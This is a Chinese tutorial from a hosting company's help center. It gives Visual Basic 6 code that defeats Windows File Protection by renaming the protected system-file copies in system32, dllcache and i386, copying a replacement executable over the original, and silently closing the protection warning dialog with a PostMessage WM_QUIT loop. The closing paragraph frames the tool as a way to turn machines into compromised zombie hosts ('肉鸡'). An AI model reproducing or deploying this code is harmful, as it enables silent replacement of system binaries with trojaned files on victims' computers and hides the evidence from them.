始创于2000年 股票代码:831685
咨询热线:0371-60135900 注册有礼 登录
  • 挂牌上市企业
  • 60秒人工响应
  • 99.99%连通率
  • 7*24h人工
  • 故障100倍补偿
您的位置: 网站首页 > 帮助中心>文章内容

几招技巧彻底加强Windows文件保护稳定性

发布时间:  2012/9/5 18:02:41

“破坏”思想

还是先说思想,有了思想万事都好办。注意“攻略”一文中对话框的标题,是不是“Windows 文件保护”啊。我们就从它下手。有两种方法,一是根据这个窗口标题查找,找到后将其隐藏,这个可以通过ShowWindow API和SW_HIDE消息来完成,但是毕竟窗口仍然存在,不是很安全。第二种也同样是根据这个窗口标题查找,找到后不是将其隐藏,而是通过发送系统消息直接关闭。下面我将以一个完整的替换文件、关闭对话框的例子来讲解。这里选择第二种方法。

界面设计

好了,还是先给出各控件布局,及对应属性。

初始化

程序开始首当其冲的当然是初始化了。在这里要声明需要使用的API、常数及变量,并获取Windows目录的完整路径。

'获取WINDOWS安装所在目录的API

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'查找窗口句柄的API

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

'根据句柄关闭指定窗口的API

Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

'关闭窗口的常数

Private Const WM_QUIT = &H12

'存放Windows目录的变量

Dim WindowsDirectory As String

Private Sub Form_Load()

'存放获取的Windows目录的字符串缓冲区

Dim Path As String

'设置缓冲区内容,以便分解Windows目录的完整路径
Path = Space(255)

'获取Windows目录的路径,存放进缓冲区

Call GetWindowsDirectory(Path, 255)

'分解Windows目录的完整路径

WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2)

'指定被替换文件的完整路径及文件名

txtSource.Text = WindowsDirectory & "\" & "notepad.exe"

'指定替换文件的完整路径及文件名

txtDestination = WindowsDirectory & "\" & "regedit.exe"

End Sub

然后就要开始替换文件的过程了。判断指定的被替换文件和替换文件是否都存在,存在的话则就根据复选框选择的路径进行替换,这里的思想是将所有的文件都改名了,就没有办法恢复了,然后将替换文件复制成被替换文件,这样就避免了直接替换而可能产生意料情况。替换后将定时器激活,进行对话框查找。

Private Sub cmdDo_Click()

'执行时屏蔽所有的操作对象,防止误操作,而导致程序崩溃

cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False
chkWindows.Enabled = False: chkSystem32.Enabled = False: chkDllcache.Enabled = False: chkI386.Enabled = False

'设置错误陷阱,因为下面的程序涉及到文件操作

On Error Resume Next

'判断被替换文件和替换文件是否存在

If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then

'存在,定义被替换文件的文件名存放变量

Dim FileName As String

'获取被替换文件的文件名

FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\"))

'判断是否选中Dllcache复选框

If chkDllcache.Value = 1 Then

'是则对Dllcache下的被替换文件改名

Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak"

End If

'判断是否选中System32复选框

If chkSystem32.Value = 1 Then

'是则对System32下的被替换文件改名

Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak"

End If

'判断是否选中I386复选框

If chkI386.Value = 1 Then

'是则对I386下的被替换文件改名

Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak"

End If

'判断是否选中Windows复选框

If chkWindows.Value = 1 Then

'是则对Windows下的被替换文件改名

Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak"
End If

'将替换文件复制为被替换文件

FileCopy txtDestination.Text, txtSource.Text

'激活定时器

timCheck.Enabled = True

End If

End Sub

最后则是不停的监视那个“Windows 文件保护”的对话框,一出来就通过PostMessage API向其发送WM_QUIT系统消息,将其关闭。这里要注意一点,是用PostMessage而不是SendMessage,主要是因为消息不需要等待,如果用后者,则关闭不了“攻略”一文中的对话框。反而会弹出另一个对话框。

Private Sub timCheck_Timer()

'设置错误陷阱

On Error Resume Next

'定义存放"Windows 文件保护"窗口句柄的变量

Dim hwnd As Long

'查找"Windows 文件保护"窗口,并把对应的句柄存入变量

hwnd = FindWindow(vbNullString, "Windows 文件保护")

'判断是否找到窗口

If hwnd <> 0 Then

'是则关闭窗口

Call PostMessage(hwnd, WM_QUIT, 0, 0)

'给出成功提示

MsgBox "替换成功!", vbInformation

'退出程序

End

End If

End Sub

好了,到这里就可以编译使用了。

写在最后

这样简简单单几步就把MS安全强大的WFP给突破了,让我自己也有点不敢相信,不过这是事实,不得不信啊。一个“小”洞+一款利器=多多肉鸡,相信你绝对不会错过的。
如果有需要服务器的租用与托管的敬请联系QQ:1501281758(亿恩星辰)   联系电话:0371—63322220


本文出自:亿恩科技【www.enkj.com】

服务器租用/服务器托管中国五强!虚拟主机域名注册顶级提供商!15年品质保障!--亿恩科技[ENKJ.COM]

  • 您可能在找
  • 亿恩北京公司:
  • 经营性ICP/ISP证:京B2-20150015
  • 亿恩郑州公司:
  • 经营性ICP/ISP/IDC证:豫B1.B2-20060070
  • 亿恩南昌公司:
  • 经营性ICP/ISP证:赣B2-20080012
  • 服务器/云主机 24小时售后服务电话:0371-60135900
  • 虚拟主机/智能建站 24小时售后服务电话:0371-60135900
  • 专注服务器托管17年
    扫扫关注-微信公众号
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 亿恩科技 版权所有  地址:郑州市高新区翠竹街1号总部企业基地亿恩大厦  法律顾问:河南亚太人律师事务所郝建锋、杜慧月律师   京公网安备41019702002023号
      0
     
     
     
     

    0371-60135900
    7*24小时客服服务热线